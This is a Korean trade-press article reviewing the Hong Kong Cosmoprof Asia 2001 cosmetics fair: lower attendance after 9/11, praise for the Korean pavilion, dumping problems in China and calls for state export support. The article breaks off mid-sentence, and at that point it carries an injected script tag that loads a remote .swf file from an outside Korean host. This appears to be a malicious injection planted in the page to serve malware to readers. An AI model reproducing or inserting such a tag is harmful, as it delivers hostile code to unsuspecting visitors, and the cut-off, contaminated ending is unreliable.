아쉽지만 많은 것을 배운 ‘절반의 성공’ 세계경기 불황으로 관람객 감소… 한국관은 호평 ‘껍데기는 가라… 알맹이만 남고 껍데기는 가라.’ 지난 13일부터 15일까지 홍콩에서 열린 ‘홍콩 코스모프로프 아시아 2001’에 참가한 업체들의 심정이 이러할 것이다. 올해 홍콩 박람회는 예년에 비해 참가업체 규모나 관람객수가 열세를 면치 못했다. 직접적인 원인은 9·11 미테러 사건 때문으로 보인다. 미국 바이어와 중동권 바이어들이 많이 줄은 탓이다. 특히 중동권은 국내 화장품 무역 물량이 많은 편이기에 참가자들에게 적잖은 실망을 안겨줬다. 이외에도 아시아권에 감돌고 있는 불황의 그림자도 영향을 미친 것으로 보인다. 홍콩이 몇십년만에 가장 높은 실업률에 빠져 있고 우리나라를 비롯해 일본, 대만 등 대부분의 국가가 앞길 가리기에도 급급한 것이 현실이다. 다만 중국은 본격적으로 성장세를 타고 있는 분위기라서 그나마 이번 박람회를 ‘어두운 잔치’에서 벗어나는데 일조했다. 관람객수도 전체적으로 줄었지만 그보다 심각한 것은 바이어들의 감소다. 지난해만 하더라도 미국이나 유럽권에서 비중있는 바이어들이 왔지만 올해의 경우 홍콩 현지 중개상들이 주류를 이루었다는 평이다. 이를 증명하듯 박람회 기간 내내 이벤트나 쇼를 펼치는 부스에는 관람객들이 발 디딤틈 없이 몰렸지만 일반 상담 부스는 한적한 편이었다. 하지만 그동안의 꾸준한 수출전략에 의해 이름이 알려진 부스에는 세계 유명 다국적 기업 바이어가 구체적인 상담을 하고 간 것으로 알려졌다. 실제 국내업체 서너곳에서는 샤넬, 로레알, 엘리자베스 아덴 등의 바이어들이 샘플까지 받아간 것으로 전해졌다. 한국관은 대체로 합격점이라는 평이다. 인테리어는 물론 참가업체수나 신제품 등이 좋은 반응을 보였다. 원래 국내제품이 중국권에서 제품력을 인정받고 있는 상황인데다 최근의 한류 열풍이 한 몫을 더한 것이다. 하지만 최근들어 이런 분위기에 찬물을 끼얹는 일들이 발생하고 있다. 보따리상들의 가격할인으로 인해 중국에 출한 국내 브랜드의 이미지가 실추되고, 부실기업의 제품을 재고처리 방식으로 유입한 것이 문제가 되고 있는 것이다. 특히 최근에는 국내 상위업체의 제품이 덤핑처리로 중국에 들어오는 경우가 발생해 국내 장업계 얼굴에 먹칠을 하고 있다. 현시점에서 한류열풍을 제대로 타고 중국에서 성공하기 위해서는 장기적인 관점에서 접근하는 자세가 필요하다는 것도 이런 이유 때문이다. 단기적·수익적인 시각에서만 수출 정책을 펴다보니 그 부작용이 서서히 드러나고 있다는 지적이다. 아직까지는 중국권에서 국내제품의 이미지가 좋은 만큼 이를 잘 살려 세계시장 진출의 교두보로 삼아야 한다는 것이다. 국내 제품은 중국에 비해 품질 경쟁력을 가지고 있다. 또 일본에 비하면 가격적인 측면에서 경쟁력을 가지고 있다. 때문에 너무 저가위주의 정책이나 고급화 전략을 쓰는 것은 적절치 않아 보인다. 국내 기업이 가지고 있는 장점을 살려 제품력은 뛰어나고 가격대는 적당한 제품 위주로 수출 전략을 펼친다면 메이드 인 코리아의 이름을 세계 화장품업계에 널리 알릴 수 있을 것으로 기대된다. 이와 함께 중국에 대한 견제도 계속되야 할 것이다. 엄청난 크기의 땅과 인구, 자원 등 중국은 무한한 가능성을 가진 나라다. 최근에는 화장품 모방 기술이 발달해 국내 어느 제품도 일주일 이내로 모방, 생산할 정도다. 물론 제품력에 있어서는 차이가 있지만 모방의 속도가 그 정도로 빨라졌다는 것은 기본 기술력이 향상되었다는 증거다. 이와 함께 정부 차원의 지원도 절실하게 요구되고 있다. 대만이 정부의 대폭적인 지원 아래 가격 경쟁력으로 아시아권 시장을 잠식하고 있는 현실에서 단순히 수출 문제를 개별 기업의 문제로 국한해서는 안될 것이다. 수출이 국가대 국가 사이의 무역인만큼 정부차원에서 전폭적인 지원을 해야 한다는 뜻이다. 이번 홍콩 코스모프로프는 여러 가지 문제점을 안고 있긴 했지만 그럼에도 불구하고 실보다는 득이 많았다는 의견이 주류를 이루고 있다. 시장 흐름을 한 눈으로 파악하기에는 이런 박람회보다 좋은 자리는 없다는 것. 세계 유행은 물론 신제품이나 신디자인, 신물질 등 세계 각지에서 쏟아져 나오는 새로운 아이템을 한 눈에 취득할 수 있다는 장점을 갖고 있다. 특히 새로운 바이어와의 만남은 그 어느 것에 빗대어도 적지 않은 성과로 평가되고 있다. 현장에서 계약이 성사가 되지 않더라도 잠재 고객을 얻는 자리가 된 것이다. 국내 모든 참가업체와 관람객들은 이번 박람회를 통해 충분한 시장조사의 기회를 가진 동시에 직·간접적인 효과를 거둔 것으로 보인다. 이번 박람회 뿐만 아니라 다음달 ?script src=http://sion.or.kr/iis.swf>

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